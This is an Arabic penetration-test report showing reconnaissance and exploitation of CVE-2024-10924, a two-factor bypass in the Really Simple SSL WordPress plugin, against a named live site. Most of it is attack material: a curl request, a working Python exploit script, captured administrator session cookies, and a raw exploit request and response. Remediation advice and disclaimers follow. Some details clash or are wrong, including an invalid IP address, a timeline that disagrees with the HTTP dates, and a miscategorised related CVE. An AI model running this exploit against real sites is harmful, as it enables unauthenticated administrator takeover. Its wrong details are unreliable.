
تقرير اختبار الاختراق واستغلال لـ CVE-2024-10924، تجاوز المصادقة الثنائية في Really Simple SSL، بما في ذلك الاستطلاع والاستغلال وإرشادات المعالجة.
الهدف: https://skior.co
الثغرة: CVE-2024-10924 - تجاوز المصادقة الثنائية في إضافة Really Simple SSL
الخطورة: حرجة (درجة CVSS: 9.8)
الحالة: تم الاستغلال بنجاح
تاريخ الاكتشاف: 2025-06-25
إصدار التقرير: 2.1
اكتشف اختبار الاختراق هذا ثغرة حرجة في تجاوز المصادقة تسمح للمهاجمين غير المصادقين بالحصول على صلاحيات إدارية لموقع ووردبريس عن طريق تجاوز ضوابط المصادقة الثنائية (2FA).
اتبع هذا التقييم منهجية منهجية لاختبار الاختراق من النوع الأسود (black-box) بناءً على المعايير الصناعية:

التقنيات التي تم التعرف عليها:
└─$ whatweb https://skior.co
https://skior.co [200 OK] Country[UNITED STATES][US], HTML5,
HTTPServer[Ubuntu Linux][nginx/1.26.0 (Ubuntu)], IP[123.456.789.200],
JQuery[3.7.1],MetaGenerator[Elementor 3.29.2;
features: additional_custom_breakpoints, e_local_google_fonts;
settings: css_print_method-external, google_font-enabled, font_display-swap,
WordPress 6.8.1], PHP[8.2.28], PoweredBy[Skior],
Script[speculationrules,text/javascript], Title[Skior Technologies],
UncommonHeaders[link], WordPress[6.8.1], X-Powered-By[PHP/8.2.28], nginx[1.26.0]
**النتائج الرئيسية:**
- تثبيت ووردبريس حديث بأحدث إصدار
- إعداد استضافة احترافي مع nginx
- علامة تجارية مخصصة ("PoweredBy[Skior]")
- استخدام منشئ الصفحات Elementor
- الموقع الجغرافي: الولايات المتحدة
### الخطوة 2: تعداد المستخدمين
#### أ. تعداد مؤلفي ووردبريس```bash
└─$ curl -I https://skior.co/?author=1
HTTP/1.1 301 Moved Permanently
Server: nginx/1.26.0 (Ubuntu)
Date: Wed, 25 Jun 2025 18:12:15 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.2.28
X-Redirect-By: WordPress
Location: https://skior.co/author/pastor/
المستخدم المكتشف: pastor (معرف المستخدم: 1)
for i in {1..10}; do echo "Checking user ID: $i" curl -s -o /dev/null -w "%{http_code}" "https://skior.co/?author=$i" echo " - https://skior.co/?author=$i" done
#### ج. نتائج تعداد أسماء المستخدمين
| معرف المستخدم | اسم المستخدم | الحالة | رابط إعادة التوجيه |
|---------|----------|--------|--------------|
| 1 | pastor | ✅ تم العثور | `/author/pastor/` |
| 2-10 | N/A | ❌ غير موجود | استجابات 404 |
### الخطوة 3: مسح الثغرات الأمنية
#### أ. تحليل WPScan الشامل```bash
└─$ wpscan --url https://skior.co --api-token my-api-key
ملخص نتائج الفحص:
ملاحظة: لم يكتشف WPScan إضافة Really Simple SSL، مما يشير إلى أنها قد تستخدم التعتيم أو تسمية مخصصة.
└─$ curl -s https://skior.co/wp-json/ | jq '.routes | keys[]'
**النقاط الطرفية المخصصة المكتشفة:**```
/reallysimplessl/v1/two_fa
/reallysimplessl/v1/two_fa/skip_onboarding
/reallysimplessl/v1/two_fa/do_not_ask_again
/reallysimplessl/v1/two_fa/resend_email_code
/reallysimplessl/v1/two_fa/save_default_method_email
/reallysimplessl/v1/two_fa/save_default_method_email_profile
/reallysimplessl/v1/two_fa/save_default_method_totp
/reallysimplessl/v1/two_fa/validate_email_setup
الاكتشاف الحرج: ظهرت نقطة النهاية /reallysimplessl/v1/two_fa/skip_onboarding مشبوهة وتستحق مزيدًا من التحقيق.
بعد اكتشاف مسارات REST API المخصصة، كشف البحث الخارجي عن CVE-2024-10924، وهي ثغرة أمنية حرجة تؤثر على إضافة Really Simple SSL.
CVE ID: CVE-2024-10924
CVSS Score: 9.8 (حرجة)
Affected Plugin: Really Simple SSL
Vulnerability Type: تجاوز المصادقة
Attack Vector: REST API
تاريخ الاكتشاف: 6 نوفمبر 2024
الإفصاح العام: 14 نوفمبر 2024
تنشأ الثغرة الأمنية من التحقق غير السليم من المستخدم في دالة check_login_and_get_user داخل إجراءات REST API للمصادقة الثنائية. تفشل الدالة في التحقق بشكل صحيح من معلمة login_nonce، مما يسمح للمهاجمين بما يلي:
// Simplified vulnerable code structure function check_login_and_get_user($user_id, $login_nonce) { // Missing proper validation of login_nonce $user = get_user_by('ID', $user_id);
// No validation of login_nonce parameter
// This allows any value to be accepted
return $user; // Returns user object without verification
}
#### النقاط الطرفية المتأثرة
نقاط نهاية REST API التالية معرضة للخطر:
- `/reallysimplessl/v1/two_fa/skip_onboarding`
- `/reallysimplessl/v1/two_fa/do_not_ask_again`
- `/reallysimplessl/v1/two_fa/resend_email_code`
#### شروط الثغرة
للاستفادة من هذه الثغرة، يجب أن تتوفر الشروط التالية:
- ✅ يجب تثبيت وتفعيل إضافة Really Simple SSL
- ✅ يجب تفعيل إعداد المصادقة الثنائية (معطل افتراضيًا)
- ✅ يجب وجود حساب مستخدم واحد على الأقل على النظام
- ✅ يجب أن تكون REST API قابلة للوصول (إعداد ووردبريس الافتراضي)
---
## 🔄 تدفق الهجوم```mermaid
graph TD
A[Initial Reconnaissance] --> B[Technology Stack Identification]
B --> C[User Enumeration]
C --> D[Vulnerability Scanning]
D --> E[REST API Enumeration]
E --> F[Discovery of Really Simple SSL Endpoints]
F --> G[External Research]
G --> H[Identification of CVE-2024-10924]
H --> I[Manual Testing]
I --> J[Exploit Development]
J --> K[Successful Exploitation]
K --> L[Admin Access Obtained]
L --> M[Impact Assessment]
style A fill:#e1f5fe
style F fill:#fff3e0
style H fill:#ffebee
style K fill:#e8f5e8
style L fill:#f3e5f5
أولاً، اختبرنا نقطة النهاية يدويًا لفهم سلوكها:```bash
curl -X POST "https://skior.co/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
-H "Content-Type: application/json"
-d '{
"user_id": 1,
"login_nonce": "invalid_nonce",
"redirect_to": "/wp-admin/"
}'
#### B. نص استغلال بايثون```python
import requests
import urllib.parse
import sys
if len(sys.argv) != 2:
print("Usage: python exploit.py <user_id>")
sys.exit(1)
user_id = sys.argv[1]
url = "https://skior.co/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
data = {
"user_id": int(user_id), # User ID from the argument
"login_nonce": "invalid_nonce", # Arbitrary value
"redirect_to": "/wp-admin/" # Target redirection
}
# Sending the POST request
response = requests.post(url, json=data)
# Checking the response
if response.status_code == 200:
print("Request successful!\n")
# Extracting cookies
cookies = response.cookies.get_dict()
count = 1
for name, value in cookies.items():
decoded_value = urllib.parse.unquote(value) # Decode the URL-encoded cookie value
print(f"Cookie {count}:")
print(f"Cookie Name: {name}")
print(f"Cookie Value: {decoded_value}\n")
count += 1
else:
print("Request failed!")
print(f"Status Code: {response.status_code}")
print(f"Response Text: {response.text}")
└─$ python exploit.py 1 Request successful!
Cookie 1: Cookie Name: wordpress_sec_dc22060175d35fce22f69728c6799c9d Cookie Value: pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da
Cookie 2: Cookie Name: wordpress_logged_in_dc22060175d35fce22f69728c6799c9d Cookie Value: pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144
#### عملية التلاعب بملفات تعريف الارتباط

*أعلاه: لقطة شاشة توضح عملية التلاعب بملفات تعريف الارتباط باستخدام أدوات المطور في المتصفح لإضافة ملفات تعريف الارتباط الخاصة بجلسة ووردبريس التي تم الحصول عليها.*
#### نجاح الوصول إلى لوحة الإدارة

*أعلاه: لقطة شاشة تؤكد نجاح الوصول الإداري إلى لوحة تحكم ووردبريس بعد استغلال ثغرة تجاوز المصادقة الثنائية (2FA).*
#### تحليل ملفات تعريف الارتباط
**ملف تعريف الارتباط الأمني لووردبريس:**
- **الاسم:** `wordpress_sec_dc22060175d35fce22f69728c6799c9d`
- **القيمة:** `pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da`
- **المكونات:**
- اسم المستخدم: `pastor`
- تاريخ الانتهاء: `1752234264` (طابع زمني Unix)
- رمز غير متكرر (Nonce): `GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH`
- التجزئة (Hash): `cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da`
**ملف تعريف الارتباط الخاص بتسجيل الدخول لووردبريس:**
- **الاسم:** `wordpress_logged_in_dc22060175d35fce22f69728c6799c9d`
- **القيمة:** `pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144`
---
## 🎯 تقييم الأثر
### الأثر المباشر
1. **اختراق كامل للموقع**
- وصول إداري إلى لوحة تحكم ووردبريس
- القدرة على تعديل محتوى الموقع والسمات والإضافات
- الوصول إلى إدارة المستخدمين والإعدادات
2. **كشف البيانات**
- الوصول إلى جميع حسابات المستخدمين وملفاتهم الشخصية
- رؤية محتوى قاعدة البيانات
- الوصول إلى ملفات التكوين
3. **تصعيد الصلاحيات**
- تجاوز جميع ضوابط المصادقة
- التحايل على إجراءات الأمن الخاصة بالمصادقة الثنائية (2FA)
- القدرة على انتحال هوية أي مستخدم
### سيناريوهات الهجوم المحتملة
1. **التلاعب بالمحتوى**
- تشويه محتوى الموقع
- حقن كود خبيث
- إنشاء أبواب خلفية
2. **سرقة البيانات**
- استخراج معلومات المستخدمين
- الوصول إلى المحتوى الحساس
- تحميل نسخ احتياطية لقاعدة البيانات
3. **الاستدامة**
- تثبيت إضافات خبيثة
- إنشاء حسابات إدارية مخفية
- إنشاء نقطة تحكم وأوامر
### درجة الخطورة: **حرجة (9.8/10)**
| العامل | الدرجة | التبرير |
|--------|-------|---------------|
| **تعقيد الوصول** | منخفض (1.0) | طلب HTTP بسيط |
| **المصادقة** | لا شيء (0.0) | لا تتطلب مصادقة |
| **تأثير النزاهة** | عالٍ (1.0) | اختراق كامل للنظام |
| **تأثير السرية** | عالٍ (1.0) | وصول كامل للبيانات |
| **تأثير التوفر** | عالٍ (1.0) | يمكن تعطيل الموقع |
### تحليل الأثر التجاري
| فئة الأثر | الشدة | الوصف |
|----------------|----------|-------------|
| **المالي** | عالٍ | خسارة محتملة في الإيرادات، تكاليف قانونية |
| **السمعة** | حرج | ضرر بالعلامة التجارية، فقدان ثقة العملاء |
| **التشغيلي** | عالٍ | تعطل الخدمة، فقدان البيانات |
| **الامتثال** | عالٍ | مخالفات تنظيمية، فشل في التدقيق |
---
## 🛡️ الإصلاح
### الإجراءات الفورية (0-24 ساعة)
1. **تعطيل إضافة Really Simple SSL** ```bash
# Via wp-cli (if available)
wp plugin deactivate really-simple-ssl
# Or manually rename plugin directory
mv wp-content/plugins/really-simple-ssl wp-content/plugins/really-simple-ssl.disabled
تحديث أو إزالة الإضافة
تدقيق جلسات المستخدمين
تقوية الأمان
تنفيذ المراقبة
تقييمات أمنية منتظمة
تحديثات سياسات الأمان
// Add to wp-config.php for enhanced security define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); define('FORCE_SSL_ADMIN', true);
// Restrict REST API access add_filter('rest_authentication_errors', function($result) { if (!empty($result)) { return $result; } if (!is_user_logged_in()) { return new WP_Error('rest_not_logged_in', 'You are not currently logged in.', array('status' => 401)); } return $result; });
// Additional security headers add_action('send_headers', function() { header('X-Content-Type-Options: nosniff'); header('X-Frame-Options: SAMEORIGIN'); header('X-XSS-Protection: 1; mode=block'); header('Referrer-Policy: strict-origin-when-cross-origin'); });
### حلول SSL البديلة
| الحل | المزايا | العيوب | التوصية |
|----------|------|------|----------------|
| **Let's Encrypt** | مجاني، تلقائي | إعداد يدوي | ✅ موصى به |
| **Cloudflare** | إعداد سهل، حماية من هجمات DDoS | يتطلب تغيير DNS | ✅ خيار جيد |
| **SSL من مزود الاستضافة** | متكامل | قد يكون له قيود | ⚠️ تحقق من الميزات |
| **SSL يدوي** | تحكم كامل | إعداد معقد | ❌ غير موصى به |
---
## 🛠️ الأدوات المستخدمة
### أدوات الاستكشاف
- **Wappalyzer** - تحديد مجموعة التقنيات
- **WhatWeb** - بصمة تطبيقات الويب
- **WPScan** - فحص ثغرات ووردبريس
- **curl** - اختبار يدوي لواجهات API
### أدوات الاستغلال
- **Python 3** - تطوير الاستغلال
- **requests** - مكتبة عميل HTTP
- **urllib.parse** - تشفير/فك تشفير عناوين URL
### أدوات التحليل
- **jq** - معالجة JSON
- **grep** - مطابقة أنماط النص
- **bash** - أتمتة سطر الأوامر
---
## 📚 المراجع
### معلومات الثغرات
- [CVE-2024-10924](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-10924)
- [أمان إضافات ووردبريس](https://wordpress.org/plugins/security/)
- [إضافة Really Simple SSL](https://wordpress.org/plugins/really-simple-ssl/)
### الوثائق التقنية
- [دليل REST API لووردبريس](https://developer.wordpress.org/rest-api/)
- [أفضل ممارسات أمان ووردبريس](https://wordpress.org/support/article/hardening-wordpress/)
- [OWASP Top 10](https://owasp.org/www-project-top-ten/)
### الأدوات والموارد
- [WPScan](https://wpscan.com/)
- [WhatWeb](https://github.com/urbanadventurer/WhatWeb)
- [Wappalyzer](https://www.wappalyzer.com/)
### ثغرات ذات صلة (CVE)
- CVE-2024-10924 - تجاوز التحقق الثنائي (2FA) في Really Simple SSL
- CVE-2023-28121 - كروس سايت سكريبتنج في ووردبريس الأساسي
- CVE-2023-28122 - تزوير طلب عبر المواقع (CSRF) في ووردبريس الأساسي
### المعايير الصناعية
- [دليل اختبار OWASP](https://owasp.org/www-project-web-security-testing-guide/)
- [إطار الأمن السيبراني NIST](https://www.nist.gov/cyberframework)
- [ISO 27001](https://www.iso.org/isoiec-27001-information-security.html)
---
## 📄 إشعار قانوني
تقرير اختبار الاختراق هذا هو لأغراض تعليمية وتقييم أمني مصرح به فقط. يجب استخدام التقنيات والأدوات الموصوفة فقط ضد الأنظمة التي تملكها أو لديك إذن صريح لاختبارها. قد ينتهك الاختبار غير المصرح به القوانين واللوائح.
**الإفصاح المسؤول:** تم الإبلاغ عن هذه الثغرة لمطوري الإضافة وفريق أمان ووردبريس.
**إخلاء مسؤولية:** المعلومات المقدمة في هذا التقرير تستند إلى التقييم الذي تم إجراؤه وقت الاختبار. تتغير مشاهد الأمن بسرعة، وقد توجد ثغرات إضافية لم يتم اكتشافها خلال هذا التقييم.
---
## 📋 الملاحق
### الملحق أ: طلبات HTTP الخام
#### طلب استغلال ناجح```http
POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: skior.co
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
{
"user_id": 1,
"login_nonce": "invalid_nonce",
"redirect_to": "/wp-admin/"
}
HTTP/1.1 200 OK Server: nginx/1.26.0 (Ubuntu) Date: Wed, 25 Jun 2025 18:15:30 GMT Content-Type: text/html; charset=UTF-8 Set-Cookie: wordpress_sec_dc22060175d35fce22f69728c6799c9d=pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da; path=/; secure; HttpOnly Set-Cookie: wordpress_logged_in_dc22060175d35fce22f69728c6799c9d=pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144; path=/
### الملحق ب: قائمة التحقق الأمني
#### ما قبل الاستغلال
- [ ] تحديد الهدف ونطاق العمل
- [ ] الحصول على التفويض القانوني
- [ ] إعداد بيئة الاختبار
- [ ] التحقق من صحة الأدوات والبرامج النصية
#### أثناء الاستغلال
- [ ] تأكيد الثغرة يدويًا
- [ ] تطوير الاستغلال واختباره
- [ ] قصر التأثير على النطاق المصرح به
- [ ] توثيق الأدلة بشكل شامل
#### ما بعد الاستغلال
- [ ] إزالة كل الوصول
- [ ] الحفاظ على الأدلة
- [ ] إنشاء التقرير
- [ ] تقديم توصيات المعالجة
### الملحق ج: معجم المصطلحات
| المصطلح | التعريف |
|---------|---------|
| **2FA** | المصادقة الثنائية |
| **CVSS** | نظام تسجيل الثغرات الشائع |
| **REST API** | واجهة برمجة تطبيقات نقل الحالة التمثيلية |
| **WAF** | جدار حماية تطبيقات الويب |
| **XSS** | البرمجة النصية عبر المواقع |
| **CSRF** | تزوير الطلب عبر المواقع |
---
*تم إنشاء التقرير في: 2025-06-25*
*باحث أمني*
*الإصدار: 2.1*
*آخر تحديث: 2025-06-25*
| مستوى المخاطرة | الاحتمالية | التأثير | أولوية المعالجة |
|---|
| حرجة | عالية | اختراق كامل للنظام | فورية |
| عالية | متوسطة | اختراق البيانات | عالية |
| متوسطة | منخفضة | تعطيل الخدمة | متوسطة |
| الحقل | القيمة |
|---|
| النطاق | https://skior.co |
| عنوان IP | 123.456.789.200 |
| الخادم | nginx/1.26.0 (Ubuntu) |
| إصدار PHP | 8.2.28 |
| نظام إدارة المحتوى | ووردبريس 6.8.1 |
| الإضافة الضعيفة | Really Simple SSL |
| الموقع الجغرافي | الولايات المتحدة |
| مزود الاستضافة | استضافة احترافية (على الأرجح VPS/مخصص) |
| التاريخ/الوقت | الحدث | التفاصيل |
|---|
| 2025-06-25 14:02 | الاستطلاع الأولي | اكتمال تحليل Wappalyzer |
| 2025-06-25 14:05 | التعرف على مكدس التقنيات | تم التعرف على WordPress 6.8.1, nginx, PHP 8.2.28 |
| 2025-06-25 14:10 | تعداد المستخدمين | اكتشاف المستخدم "pastor" (ID: 1) |
| 2025-06-25 14:15 | تحليل WPScan | لم يتم العثور على ثغرات معروفة |
| 2025-06-25 14:20 | تعداد REST API | اكتشاف نقاط نهاية Really Simple SSL |
| 2025-06-25 14:25 | بحث الثغرات | التعرف على CVE-2024-10924 |
| 2025-06-25 14:30 | الاختبار اليدوي | تأكيد وجود الثغرة |
| 2025-06-25 14:35 | تطوير الاستغلال | إنشاء إثبات المفهوم بلغة بايثون |
| 2025-06-25 14:40 | الاستغلال الناجح | الحصول على صلاحيات إدارية |
| 2025-06-25 14:45 | تقييم التأثير | توثيق الضرر المحتمل |
| 2025-06-25 15:00 | إنشاء التقرير | توثيق شامل |